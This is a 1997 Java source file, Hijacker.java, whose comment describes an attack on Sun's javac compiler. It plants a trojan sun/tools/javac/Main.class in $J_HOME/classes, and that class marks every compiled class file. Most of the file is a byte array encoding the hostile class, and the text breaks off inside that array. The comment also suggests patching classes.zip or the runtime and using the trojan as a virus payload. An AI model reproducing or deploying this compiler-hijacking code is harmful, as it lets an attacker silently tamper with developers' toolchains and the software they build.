/* Hijacker.java by Mark D. LaDue */

/* January 6, 1997 */

/* Copyright (c) 1997 Mark D. LaDue
   You may study, use, modify, and distribute this example for any purpose.
   This example is provided WITHOUT WARRANTY either expressed or implied.  */

/* This Java application attacks Sun's Java compiler javac.  It takes
   advantage of the fact that Sun's javac is a shell script that searches
   for classes first in your CLASSPATH, then in $J_HOME/classes, and finally
   in $J_HOME/lib/classes.zip.  Thus if classes.zip doesn't happen to lie
   in your CLASSPATH, javac will look for Java classes in $J_HOME/classes
   before it uses classes.zip.  Hijacker.java takes advantage of this fact
   and creates a hostile $J_Home/classes/sun/tools/javac/Main.class, the main
   class of the compiler.  In this case, the hostile compiler simply
   announces its presence each time it is run and appends the string
   "Hijacked!" to every .class file that it produces.  Clearly the same
   could be done to any other Java classes, and a more sophisticated version
   could simply "patch" classes.zip, or even the Java Runtime, to achieve
   more dire efffects.  By itself a Trojan class like this is not too
   threatening, but as the payload of a Java Platform virus.... */

import java.io.*;

class Hijacker {
    public static void main (String[] argv) {
// The integer array containing a hacked Main.class
int[] hijacked = {
202,
254,
186,
190,
0,
3,
0,
45,
1,
109,
8,
1,
98,
8,
1,
99,
8,
1,
100,
8,
1,
48,
8,
1,
108,
8,
1,
104,
8,
1,
59,
8,
1,
60,
8,
1,
68,
8,
0,
217,
8,
0,
248,
8,
1,
90,
8,
1,
87,
8,
1,
18,
8,
1,
15,
8,
1,
64,
8,
0,
241,
8,
1,
69,
8,
1,
71,
8,
1,
38,
8,
0,
209,
8,
0,
212,
8,
1,
49,
8,
1,
102,
8,
1,
106,
8,
0,
230,
8,
1,
37,
8,
1,
27,
8,
1,
32,
8,
1,
65,
8,
1,
67,
8,
0,
253,
8,
1,
79,
8,
1,
78,
8,
1,
84,
8,
0,
202,
8,
0,
204,
8,
1,
34,
8,
1,
88,
7,
1,
45,
7,
0,
254,
7,
1,
74,
7,
1,
5,
7,
1,
1,
7,
0,
223,
7,
0,
252,
7,
0,
246,
7,
1,
47,
7,
0,
236,
7,
1,
0,
7,
1,
75,
7,
1,
95,
7,
0,
250,
7,
0,
231,
7,
0,
242,
7,
1,
43,
7,
1,
50,
7,
0,
255,
7,
0,
251,
7,
0,
249,
7,
1,
12,
7,
1,
10,
7,
1,
89,
7,
1,
16,
7,
1,
53,
10,
0,
40,
0,
140,
10,
0,
57,
0,
161,
10,
0,
40,
0,
193,
9,
0,
57,
0,
165,
10,
0,
45,
0,
143,
10,
0,
49,
0,
186,
10,
0,
46,
0,
154,
10,
0,
45,
0,
185,
10,
0,
61,
0,
194,
10,
0,
61,
0,
175,
10,
0,
50,
0,
138,
10,
0,
47,
0,
168,
10,
0,
61,
0,
167,
10,
0,
60,
0,
201,
10,
0,
43,
0,
166,
11,
0,
63,
0,
196,
11,
0,
63,
0,
182,
10,
0,
48,
0,
197,
10,
0,
61,
0,
160,
10,
0,
49,
0,
144,
10,
0,
60,
0,
149,
10,
0,
46,
0,
158,
10,
0,
45,
0,
197,
9,
0,
57,
0,
141,
10,
0,
58,
0,
177,
10,
0,
58,
0,
181,
10,
0,
61,
0,
146,
10,
0,
62,
0,
190,
10,
0,
57,
0,
142,
10,
0,
43,
0,
184,
10,
0,
62,
0,
200,
10,
0,
62,
0,
195,
10,
0,
58,
0,
187,
9,
0,
50,
0,
159,
10,
0,
41,
0,
168,
10,
0,
62,
0,
183,
9,
0,
50,
0,
171,
10,
0,
57,
0,
199,
9,
0,
50,
0,
169,
10,
0,
57,
0,
172,
10,
0,
43,
0,
191,
10,
0,
65,
0,
145,
10,
0,
45,
0,
192,
10,
0,
49,
0,
163,
10,
0,
50,
0,
157,
10,
0,
55,
0,
197,
10,
0,
50,
0,
148,
10,
0,
62,
0,
173,
10,
0,
48,
0,
162,
10,
0,
60,
0,
180,
10,
0,
60,
0,
150,
10,
0,
45,
0,
170,
10,
0,
62,
0,
198,
10,
0,
49,
0,
164,
10,
0,
62,
0,
168,
10,
0,
47,
0,
153,
10,
0,
48,
0,
152,
10,
0,
50,
0,
176,
10,
0,
54,
0,
186,
10,
0,
54,
0,
147,
10,
0,
50,
0,
179,
10,
0,
64,
0,
178,
10,
0,
54,
0,
192,
9,
0,
62,
0,
189,
10,
0,
56,
0,
174,
10,
0,
61,
0,
151,
10,
0,
51,
0,
188,
10,
0,
57,
0,
156,
9,
0,
43,
0,
139,
10,
0,
46,
0,
195,
10,
0,
48,
0,
155,
10,
0,
47,
0,
188,
12,
0,
206,
0,
213,
12,
0,
215,
0,
220,
12,
0,
229,
1,
80,
12,
1,
72,
1,
86,
12,
1,
54,
1,
30,
12,
1,
31,
0,
244,
12,
0,
208,
1,
83,
12,
1,
13,
1,
81,
12,
1,
96,
1,
83,
12,
0,
211,
0,
222,
12,
0,
221,
1,
7,
12,
1,
11,
1,
80,
12,
0,
218,
1,
41,
12,
1,
36,
1,
51,
12,
1,
23,
1,
52,
12,
0,
214,
1,
81,
12,
0,
210,
1,
80,
12,
1,
42,
1,
83,
12,
1,
39,
1,
81,
12,
0,
235,
1,
81,
12,
0,
243,
1,
107,
12,
1,
20,
1,
91,
12,
1,
19,
1,
9,
12,
0,
228,
1,
62,
12,
0,
240,
1,
7,
12,
1,
46,
1,
44,
12,
0,
234,
1,
14,
12,
0,
215,
1,
26,
12,
1,
24,
1,
82,
12,
0,
237,
1,
35,
12,
0,
243,
1,
30,
12,
1,
2,
1,
91,
12,
1,
31,
1,
73,
12,
1,
94,
1,
91,
12,
0,
218,
1,
30,
12,
0,
243,
0,
233,
12,
0,
228,
1,
4,
12,
0,
216,
1,
29,
12,
1,
22,
1,
101,
12,
0,
238,
1,
81,
12,
1,
6,
1,
30,
12,
0,
243,
1,
33,
12,
0,
218,
1,
63,
12,
1,
93,
1,
57,
12,
0,
203,
1,
80,
12,
0,
243,
1,
21,
12,
0,
239,
1,
3,
12,
1,
31,
0,
245,
12,
1,
70,
0,
222,
12,
0,
243,
1,
3,
12,
1,
25,
1,
3,
12,
1,
85,
1,
92,
12,
0,
205,
1,
80,
12,
1,
77,
0,
224,
12,
1,
56,
1,
76,
12,
0,
219,
1,
40,
12,
0,
247,
1,
29,
12,
0,
226,
1,
76,
12,
0,
225,
1,
40,
12,
0,
243,
1,
81,
12,
1,
55,
1,
80,
12,
0,
243,
1,
105,
12,
1,
97,
1,
76,
12,
1,
103,
1,
80,
1,
0,
37,
89,
111,
117,
114,
32,
74,
97,
118,
97,
32,
99,
111,
109,
112,
105,
108,
101,
114,
32,
104,
97,
115,
32,
98,
101,
101,
110,
32,
104,
105,
106,
97,
99,
107,
101,
100,
33,
1,
0,
15,
104,
97,
115,
77,
111,
114,
101,
69,
108,
101,
109,
101,
110,
116,
115,
1,
0,
11,
102,
97,
116,
97,
108,
46,
101,
114,
114,
111,
114,
1,
0,
6,
109,
107,
100,
105,
114,
115,
1,
0,
14,
108,
111,
97,
100,
68,
101,
102,
105,
110,
105,
116,
105,
111,
110,
1,
0,
15,
76,
105,
110,
101,
78,
117,
109,
98,
101,
114,
84,
97,
98,
108,
101,
1,
0,
9,
103,
101,
116,
83,
116,
97,
116,
117,
115,
1,
0,
18,
105,
110,
118,
97,
108,
105,
100,
32,
97,
114,
103,
117,
109,
101,
110,
116,
58,
32,
1,
0,
8,
105,
115,
90,
105,
112,
112,
101,
100,
1,
0,
12,
103,
101,
116,
81,
117,
97,
108,
105,
102,
105,
101,
114,
1,
0,
15,
106,
97,
118,
97,
46,
99,
108,
97,
115,
115,
46,
112,
97,
116,
104,
1,
0,
36,
40,
76,
115,
117,
110,
47,
116,
111,
111,
108,
115,
47,
106,
97,
118,
97,
47,
67,
108,
97,
115,
115,
68,
101,
99,
108,
97,
114,
97,
116,
105,
111,
110,
59,
41,
86,
1,
0,
5,
99,
108,
111,
115,
101,
1,
0,
3,
111,
117,
116,
1,
0,
10,
115,
116,
97,
114,
116,
115,
87,
105,
116,
104,
1,
0,
6,
45,
100,
101,
98,
117,
103,
1,
0,
5,
101,
114,
114,
111,
114,
1,
0,
9,
103,
101,
116,
83,
111,
117,
114,
99,
101,
1,
0,
21,
76,
106,
97,
118,
97,
47,
105,
111,
47,
80,
114,
105,
110,
116,
83,
116,
114,
101,
97,
109,
59,
1,
0,
10,
103,
101,
116,
67,
108,
97,
115,
115,
101,
115,
1,
0,
29,
40,
41,
76,
115,
117,
110,
47,
116,
111,
111,
108,
115,
47,
106,
97,
118,
97,
47,
73,
100,
101,
110,
116,
105,
102,
105,
101,
114,
59,
1,
0,
22,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
66,
117,
102,
102,
101,
114,
1,
0,
38,
40,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
59,
41,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
59,
1,
0,
11,
110,
101,
120,
116,
69,
108,
101,
109,
101,
110,
116,
1,
0,
7,
103,
101,
116,
80,
97,
116,
104,
1,
0,
9,
77,
97,
105,
110,
46,
106,
97,
118,
97,
1,
0,
7,
99,
111,
109,
112,
105,
108,
101,
1,
0,
8,
103,
101,
116,
69,
114,
114,
111,
114,
1,
0,
9,
91,
100,
111,
110,
101,
32,
105,
110,
32,
1,
0,
25,
115,
117,
110,
47,
116,
111,
111,
108,
115,
47,
106,
97,
118,
97,
47,
73,
100,
101,
110,
116,
105,
102,
105,
101,
114,
1,
0,
10,
69,
120,
99,
101,
112,
116,
105,
111,
110,
115,
1,
0,
39,
40,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
59,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
59,
41,
86,
1,
0,
18,
103,
101,
116,
67,
108,
97,
115,
115,
68,
101,
102,
105,
110,
105,
116,
105,
111,
110,
1,
0,
11,
102,
108,
117,
115,
104,
69,
114,
114,
111,
114,
115,
1,
0,
31,
115,
117,
110,
47,
116,
111,
111,
108,
115,
47,
106,
97,
118,
97,
47,
67,
108,
97,
115,
115,
68,
101,
99,
108,
97,
114,
97,
116,
105,
111,
110,
1,
0,
7,
114,
101,
112,
108,
97,
99,
101,
1,
0,
5,
114,
101,
115,
101,
116,
1,
0,
4,
101,
120,
105,
116,
1,
0,
8,
101,
108,
101,
109,
101,
110,
116,
115,
1,
0,
8,
45,
110,
111,
119,
114,
105,
116,
101,
1,
0,
16,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
79,
98,
106,
101,
99,
116,
1,
0,
6,
60,
105,
110,
105,
116,
62,
1,
0,
27,
40,
74,
41,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
66,
117,
102,
102,
101,
114,
59,
1,
0,
27,
40,
73,
41,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
66,
117,
102,
102,
101,
114,
59,
1,
0,
24,
106,
97,
118,
97,
47,
105,
111,
47,
70,
105,
108,
101,
79,
117,
116,
112,
117,
116,
83,
116,
114,
101,
97,
109,
1,
0,
8,
101,
110,
100,
115,
87,
105,
116,
104,
1,
0,
9,
32,
119,
97,
114,
110,
105,
110,
103,
115,
1,
0,
26,
115,
117,
110,
47,
116,
111,
111,
108,
115,
47,
106,
97,
118,
97,
47,
69,
110,
118,
105,
114,
111,
110,
109,
101,
110,
116,
1,
0,
24,
115,
117,
110,
47,
116,
111,
111,
108,
115,
47,
106,
97,
118,
97,
47,
67,
111,
110,
115,
116,
97,
110,
116,
115,
1,
0,
29,
106,
97,
118,
97,
47,
105,
111,
47,
70,
105,
108,
101,
78,
111,
116,
70,
111,
117,
110,
100,
69,
120,
99,
101,
112,
116,
105,
111,
110,
1,
0,
24,
115,
117,
110,
47,
116,
111,
111,
108,
115,
47,
106,
97,
118,
97,
47,
67,
108,
97,
115,
115,
70,
105,
108,
101,
1,
0,
2,
58,
32,
1,
0,
24,
115,
117,
110,
47,
116,
111,
111,
108,
115,
47,
106,
97,
118,
97,
47,
67,
108,
97,
115,
115,
80,
97,
116,
104,
1,
0,
29,
106,
97,
118,
97,
47,
105,
111,
47,
66,
121,
116,
101,
65,
114,
114,
97,
121,
79,
117,
116,
112,
117,
116,
83,
116,
114,
101,
97,
109,
1,
0,
32,
115,
117,
110,
47,
116,
111,
111,
108,
115,
47,
106,
97,
118,
97,
99,
47,
66,
97,
116,
99,
104,
69,
110,
118,
105,
114,
111,
110,
109,
101,
110,
116,
1,
0,
19,
106,
97,
118,
97,
47,
105,
111,
47,
73,
79,
69,
120,
99,
101,
112,
116,
105,
111,
110,
1,
0,
5,
102,
108,
97,
103,
115,
1,
0,
4,
40,
73,
41,
86,
1,
0,
53,
40,
76,
115,
117,
110,
47,
116,
111,
111,
108,
115,
47,
106,
97,
118,
97,
47,
69,
110,
118,
105,
114,
111,
110,
109,
101,
110,
116,
59,
76,
106,
97,
118,
97,
47,
105,
111,
47,
79,
117,
116,
112,
117,
116,
83,
116,
114,
101,
97,
109,
59,
41,
86,
1,
0,
16,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
121,
115,
116,
101,
109,
1,
0,
7,
112,
114,
105,
110,
116,
108,
110,
1,
0,
25,
40,
41,
76,
106,
97,
118,
97,
47,
117,
116,
105,
108,
47,
69,
110,
117,
109,
101,
114,
97,
116,
105,
111,
110,
59,
1,
0,
13,
67,
111,
110,
115,
116,
97,
110,
116,
86,
97,
108,
117,
101,
1,
0,
4,
40,
73,
41,
67,
1,
0,
12,
106,
97,
118,
97,
47,
105,
111,
47,
70,
105,
108,
101,
1,
0,
7,
118,
101,
114,
98,
111,
115,
101,
1,
0,
16,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
1,
0,
15,
112,
114,
105,
110,
116,
83,
116,
97,
99,
107,
84,
114,
97,
99,
101,
1,
0,
62,
40,
76,
115,
117,
110,
47,
116,
111,
111,
108,
115,
47,
106,
97,
118,
97,
47,
69,
110,
118,
105,
114,
111,
110,
109,
101,
110,
116,
59,
41,
76,
115,
117,
110,
47,
116,
111,
111,
108,
115,
47,
106,
97,
118,
97,
47,
67,
108,
97,
115,
115,
68,
101,
102,
105,
110,
105,
116,
105,
111,
110,
59,
1,
0,
7,
45,
110,
111,
119,
97,
114,
110,
1,
0,
19,
106,
97,
118,
97,
47,
105,
111,
47,
80,
114,
105,
110,
116,
83,
116,
114,
101,
97,
109,
1,
0,
10,
83,
111,
117,
114,
99,
101,
70,
105,
108,
101,
1,
0,
7,
49,
32,
101,
114,
114,
111,
114,
1,
0,
6,
99,
104,
97,
114,
65,
116,
1,
0,
9,
110,
119,
97,
114,
110,
105,
110,
103,
115,
1,
0,
35,
40,
76,
106,
97,
118,
97,
47,
105,
111,
47,
70,
105,
108,
101,
59,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
59,
41,
86,
1,
0,
9,
112,
97,
114,
115,
101,
70,
105,
108,
101,
1,
0,
10,
97,
100,
100,
69,
108,
101,
109,
101,
110,
116,
1,
0,
17,
99,
117,
114,
114,
101,
110,
116,
84,
105,
109,
101,
77,
105,
108,
108,
105,
115,
1,
0,
5,
119,
114,
105,
116,
101,
1,
0,
22,
76,
106,
97,
118,
97,
47,
105,
111,
47,
79,
117,
116,
112,
117,
116,
83,
116,
114,
101,
97,
109,
59,
1,
0,
8,
45,
118,
101,
114,
98,
111,
115,
101,
1,
0,
14,
76,
111,
99,
97,
108,
86,
97,
114,
105,
97,
98,
108,
101,
115,
1,
0,
21,
40,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
59,
41,
90,
1,
0,
21,
40,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
59,
41,
86,
1,
0,
6,
97,
112,
112,
101,
110,
100,
1,
0,
7,
32,
101,
114,
114,
111,
114,
115,
1,
0,
51,
40,
76,
106,
97,
118,
97,
47,
105,
111,
47,
79,
117,
116,
112,
117,
116,
83,
116,
114,
101,
97,
109,
59,
76,
115,
117,
110,
47,
116,
111,
111,
108,
115,
47,
106,
97,
118,
97,
47,
67,
108,
97,
115,
115,
80,
97,
116,
104,
59,
41,
86,
1,
0,
9,
49,
32,
119,
97,
114,
110,
105,
110,
103,
1,
0,
22,
40,
67,
67,
41,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
59,
1,
0,
6,
101,
113,
117,
97,
108,
115,
1,
0,
9,
99,
97,
110,
116,
46,
114,
101,
97,
100,
1,
0,
3,
109,
115,
93,
1,
0,
5,
117,
115,
97,
103,
101,
1,
0,
20,
40,
41,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
79,
98,
106,
101,
99,
116,
59,
1,
0,
40,
40,
73,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
59,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
79,
98,
106,
101,
99,
116,
59,
41,
86,
1,
0,
4,
115,
105,
122,
101,
1,
0,
27,
115,
117,
110,
47,
116,
111,
111,
108,
115,
47,
106,
97,
118,
97,
99,
47,
83,
111,
117,
114,
99,
101,
67,
108,
97,
115,
115,
1,
0,
36,
40,
76,
115,
117,
110,
47,
116,
111,
111,
108,
115,
47,
106,
97,
118,
97,
47,
67,
108,
97,
115,
115,
68,
101,
102,
105,
110,
105,
116,
105,
111,
110,
59,
73,
41,
86,
1,
0,
30,
115,
117,
110,
47,
116,
111,
111,
108,
115,
47,
106,
97,
118,
97,
47,
67,
108,
97,
115,
115,
68,
101,
102,
105,
110,
105,
116,
105,
111,
110,
1,
0,
13,
115,
101,
116,
68,
101,
102,
105,
110,
105,
116,
105,
111,
110,
1,
0,
16,
106,
97,
118,
97,
47,
117,
116,
105,
108,
47,
86,
101,
99,
116,
111,
114,
1,
0,
7,
91,
119,
114,
111,
116,
101,
32,
1,
0,
20,
45,
100,
32,
114,
101,
113,
117,
105,
114,
101,
115,
32,
97,
114,
103,
117,
109,
101,
110,
116,
1,
0,
20,
115,
117,
110,
47,
116,
111,
111,
108,
115,
47,
106,
97,
118,
97,
99,
47,
77,
97,
105,
110,
1,
0,
21,
40,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
79,
98,
106,
101,
99,
116,
59,
41,
90,
1,
0,
21,
40,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
79,
98,
106,
101,
99,
116,
59,
41,
86,
1,
0,
19,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
84,
104,
114,
111,
119,
97,
98,
108,
101,
1,
0,
6,
111,
117,
116,
112,
117,
116,
1,
0,
6,
101,
120,
105,
115,
116,
115,
1,
0,
8,
116,
111,
83,
116,
114,
105,
110,
103,
1,
0,
25,
40,
76,
106,
97,
118,
97,
47,
105,
111,
47,
79,
117,
116,
112,
117,
116,
83,
116,
114,
101,
97,
109,
59,
41,
86,
1,
0,
4,
109,
97,
105,
110,
1,
0,
5,
106,
97,
118,
97,
99,
1,
0,
5,
46,
106,
97,
118,
97,
1,
0,
22,
40,
91,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
59,
41,
86,
1,
0,
22,
40,
91,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
59,
41,
90,
1,
0,
22,
40,
73,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
59,
41,
86,
1,
0,
15,
32,
100,
111,
101,
115,
32,
110,
111,
116,
32,
101,
120,
105,
115,
116,
1,
0,
10,
45,
99,
108,
97,
115,
115,
112,
97,
116,
104,
1,
0,
4,
67,
111,
100,
101,
1,
0,
93,
32,
91,
45,
103,
93,
91,
45,
79,
93,
91,
45,
100,
101,
98,
117,
103,
93,
91,
45,
100,
101,
112,
101,
110,
100,
93,
91,
45,
110,
111,
119,
97,
114,
110,
93,
91,
45,
118,
101,
114,
98,
111,
115,
101,
93,
91,
45,
99,
108,
97,
115,
115,
112,
97,
116,
104,
32,
112,
97,
116,
104,
93,
91,
45,
110,
111,
119,
114,
105,
116,
101,
93,
91,
45,
100,
32,
100,
105,
114,
93,
32,
102,
105,
108,
101,
46,
106,
97,
118,
97,
46,
46,
46,
1,
0,
6,
46,
99,
108,
97,
115,
115,
1,
0,
11,
44,
32,
49,
32,
119,
97,
114,
110,
105,
110,
103,
1,
0,
7,
103,
101,
116,
78,
97,
109,
101,
1,
0,
15,
102,
97,
116,
97,
108,
46,
101,
120,
99,
101,
112,
116,
105,
111,
110,
1,
0,
7,
112,
114,
111,
103,
114,
97,
109,
1,
0,
44,
40,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
59,
41,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
66,
117,
102,
102,
101,
114,
59,
1,
0,
19,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
69,
120,
99,
101,
112,
116,
105,
111,
110,
1,
0,
20,
106,
97,
118,
97,
47,
105,
111,
47,
79,
117,
116,
112,
117,
116,
83,
116,
114,
101,
97,
109,
1,
0,
20,
40,
41,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
59,
1,
0,
11,
103,
101,
116,
80,
114,
111,
112,
101,
114,
116,
121,
1,
0,
2,
45,
103,
1,
0,
2,
45,
100,
1,
0,
3,
40,
41,
90,
1,
0,
3,
40,
41,
86,
1,
0,
3,
40,
41,
74,
1,
0,
3,
40,
41,
73,
1,
0,
2,
45,
79,
1,
0,
13,
115,
101,
112,
97,
114,
97,
116,
111,
114,
67,
104,
97,
114,
1,
0,
18,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
59,
1,
0,
10,
99,
97,
110,
116,
46,
119,
114,
105,
116,
101,
1,
0,
1,
93,
1,
0,
21,
106,
97,
118,
97,
47,
117,
116,
105,
108,
47,
69,
110,
117,
109,
101,
114,
97,
116,
105,
111,
110,
1,
0,
7,
45,
100,
101,
112,
101,
110,
100,
1,
0,
1,
73,
1,
0,
1,
67,
1,
0,
7,
119,
114,
105,
116,
101,
84,
111,
1,
0,
7,
110,
101,
114,
114,
111,
114,
115,
1,
0,
15,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
69,
114,
114,
111,
114,
1,
0,
6,
108,
101,
110,
103,
116,
104,
1,
0,
9,
103,
101,
116,
80,
97,
114,
101,
110,
116,
1,
0,
28,
45,
99,
108,
97,
115,
115,
112,
97,
116,
104,
32,
114,
101,
113,
117,
105,
114,
101,
115,
32,
97,
114,
103,
117,
109,
101,
110,
116,
1,
0,
1,
46,
1,
0,
1,
45,
1,
0,
29,
40,
76,
115,
117,
110,
47,
116,
111,
111,
108,
115,
47,
106,
97,
118,
97,
47,
67,
108,
97,
115,
115,
70,
105,
108,
101,
59,
41,
86,
1,
0,
2,
44,
32,
1,
0,
12,
100,
101,
112,
101,
110,
100,
101,
110,
99,
105,
101,
115,
1,
0,
14,
105,
110,
118,
97,
108,
105,
100,
32,
102,
108,
97,
103,
58,
32,
1,
0,
43,
40,
76,
106,
97,
118,
97,
47,
105,
111,
47,
79,
117,
116,
112,
117,
116,
83,
116,
114,
101,
97,
109,
59,
76,
106,
97,
118,
97,
47,
108,
97,
110,
103,
47,
83,
116,
114,
105,
110,
103,
59,
41,
86,
1,
0,
5,
117,
115,
101,
58,
32,
1,
0,
17,
40,
76,
106,
97,
118,
97,
47,
105,
111,
47,
70,
105,
108,
101,
59,
41,
86,
1,
0,
0,
0,
1,
0,
57,
0,
55,
0,
1,
0,
53,
0,
2,
0,
0,
1,
72,
1,
86,
0,
0,
0,
0,
0,
215,
1,
26,
0,
0,
0,
6,
0,
1,
0,
243,
1,
105,
0,
1,
1,
66,
0,
0,
0,
51,
0,
2,
0,
3,
0,
0,
0,
15,
42,
183,
0,
111,
42,
43,
181,
0,
69,
42,
44,
181,
0,
89,
177,
0,
0,
0,
1,
0,
207,
0,
0,
0,
18,
0,
4,
0,
0,
0,
54,
0,
4,
0,
55,
0,
9,
0,
56,
0,
14,
0,
54,
0,
1,
1,
54,
1,
30,
0,
1,
1,
66,
0,
0,
0,
106,
0,
3,
0,
4,
0,
0,
0,
42,
43,
182,
0,
92,
61,
3,
62,
167,
0,
18,
42,
180,
0,
69,
43,
29,
182,
0,
84,
182,
0,
132,
132,
3,
1,
29,
28,
161,
255,
239,
42,
180,
0,
69,
16,
10,
182,
0,
132,
177,
87,
177,
0,
1,
0,
0,
0,
39,
0,
40,
0,
44,
0,
1,
0,
207,
0,
0,
0,
38,
0,
9,
0,
0,
0,
63,
0,
0,
0,
64,
0,
5,
0,
65,
0,
10,
0,
66,
0,
22,
0,
65,
0,
30,
0,
68,
0,
39,
0,
63,
0,
40,
0,
69,
0,
41,
0,
62,
0,
1,
0,
218,
1,
30,
0,
1,
1,
66,
0,
0,
0,
59,
0,
3,
0,
2,
0,
0,
0,
31,
42,
187,
0,
45,
89,
183,
0,
88,
42,
180,
0,
89,
182,
0,
117,
18,
32,
182,
0,
117,
43,
182,
0,
117,
182,
0,
108,
182,
0,
94,
177,
0,
0,
0,
1,
0,
207,
0,
0,
0,
10,
0,
2,
0,
0,
0,
77,
0,
30,
0,
76,
0,
1,
1,
39,
1,
81,
0,
1,
1,
66,
0,
0,
0,
60,
0,
3,
0,
1,
0,
0,
0,
32,
42,
187,
0,
45,
89,
183,
0,
88,
18,
25,
182,
0,
117,
42,
180,
0,
89,
182,
0,
117,
18,
31,
182,
0,
117,
182,
0,
108,
182,
0,
94,
177,
0,
0,
0,
1,
0,
207,
0,
0,
0,
10,
0,
2,
0,
0,
0,
84,
0,
31,
0,
83,
0,
33,
0,
228,
1,
62,
0,
1,
1,
66,
0,
0,
8,
32,
0,
4,
0,
22,
0,
0,
5,
88,
18,
22,
184,
0,
106,
77,
1,
78,
7,
54,
4,
184,
0,
80,
55,
5,
187,
0,
48,
89,
183,
0,
83,
58,
7,
3,
54,
8,
3,
54,
9,
167,
1,
139,
43,
21,
9,
50,
18,
34,
182,
0,
131,
153,
0,
20,
21,
4,
16,
239,
126,
54,
4,
21,
4,
16,
8,
128,
54,
4,
167,
1,
107,
43,
21,
9,
50,
18,
35,
182,
0,
131,
153,
0,
20,
21,
4,
16,
247,
126,
54,
4,
21,
4,
16,
48,
128,
54,
4,
167,
1,
78,
43,
21,
9,
50,
18,
15,
182,
0,
131,
153,
0,
13,
21,
4,
16,
251,
126,
54,
4,
167,
1,
56,
43,
21,
9,
50,
18,
10,
182,
0,
131,
153,
0,
12,
21,
4,
5,
128,
54,
4,
167,
1,
35,
43,
21,
9,
50,
18,
12,
182,
0,
131,
153,
0,
13,
21,
4,
16,
32,
128,
54,
4,
167,
1,
13,
43,
21,
9,
50,
18,
28,
182,
0,
131,
153,
0,
12,
21,
4,
4,
128,
54,
4,
167,
0,
248,
43,
21,
9,
50,
18,
17,
182,
0,
131,
153,
0,
9,
4,
54,
8,
167,
0,
230,
43,
21,
9,
50,
18,
30,
182,
0,
131,
153,
0,
35,
21,
9,
4,
96,
43,
190,
162,
0,
14,
43,
132,
9,
1,
21,
9,
50,
77,
167,
0,
198,
42,
18,
1,
182,
0,
105,
42,
182,
0,
133,
3,
172,
43,
21,
9,
50,
18,
33,
182,
0,
131,
153,
0,
74,
21,
9,
4,
96,
43,
190,
162,
0,
53,
187,
0,
62,
89,
43,
132,
9,
1,
21,
9,
50,
183,
0,
120,
78,
45,
182,
0,
118,
154,
0,
143,
42,
187,
0,
45,
89,
183,
0,
88,
45,
182,
0,
97,
182,
0,
117,
18,
16,
182,
0,
117,
182,
0,
108,
182,
0,
105,
3,
172,
42,
18,
23,
182,
0,
105,
42,
182,
0,
133,
3,
172,
43,
21,
9,
50,
18,
3,
182,
0,
75,
153,
0,
35,
42,
187,
0,
45,
89,
183,
0,
88,
18,
6,
182,
0,
117,
43,
21,
9,
50,
182,
0,
117,
182,
0,
108,
182,
0,
105,
42,
182,
0,
133,
3,
172,
43,
21,
9,
50,
18,
8,
182,
0,
74,
153,
0,
15,
25,
7,
43,
21,
9,
50,
182,
0,
122,
167,
0,
35,
42,
187,
0,
45,
89,
183,
0,
88,
18,
21,
182,
0,
117,
43,
21,
9,
50,
182,
0,
117,
182,
0,
108,
182,
0,
105,
42,
182,
0,
133,
3,
172,
132,
9,
1,
21,
9,
43,
190,
161,
254,
116,
25,
7,
182,
0,
136,
154,
0,
9,
42,
182,
0,
133,
3,
172,
44,
199,
0,
6,
18,
2,
77,
187,
0,
41,
89,
44,
183,
0,
100,
58,
10,
187,
0,
50,
89,
42,
180,
0,
69,
25,
10,
183,
0,
126,
58,
11,
25,
11,
89,
180,
0,
104,
21,
4,
128,
181,
0,
104,
25,
7,
182,
0,
114,
58,
12,
167,
0,
56,
187,
0,
62,
89,
25,
12,
185,
0,
81,
1,
0,
192,
0,
61,
183,
0,
120,
58,
13,
25,
11,
187,
0,
46,
89,
25,
13,
183,
0,
87,
182,
0,
123,
167,
0,
20,
87,
25,
11,
3,
18,
27,
25,
13,
182,
0,
97,
182,
0,
116,
167,
0,
3,
25,
12,
185,
0,
82,
1,
0,
154,
255,
196,
187,
0,
58,
89,
17,
16,
0,
183,
0,
98,
58,
13,
4,
54,
14,
25,
11,
182,
0,
110,
25,
11,
182,
0,
112,
58,
15,
167,
1,
217,
25,
15,
185,
0,
81,
1,
